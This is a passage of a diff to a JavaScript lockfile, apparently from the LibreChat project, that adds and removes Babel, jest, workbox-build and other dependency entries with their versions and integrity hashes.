+ "gcp-metadata/gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
- "gtoken/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
"jest-changed-files/execa/onetime/mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="],
@@ -8245,76 +7993,12 @@
"jest-config/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
- "jest-mock/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"jest-runtime/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"jest-runtime/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
- "jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
"mongodb-connection-string-url/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
"multer/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
@@ -8331,41 +8015,15 @@
"svgo/css-select/domutils/dom-serializer": ["dom-serializer@1.4.1", "", { "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" } }, "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag=="],
- "terser-webpack-plugin/jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+ "workbox-build/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
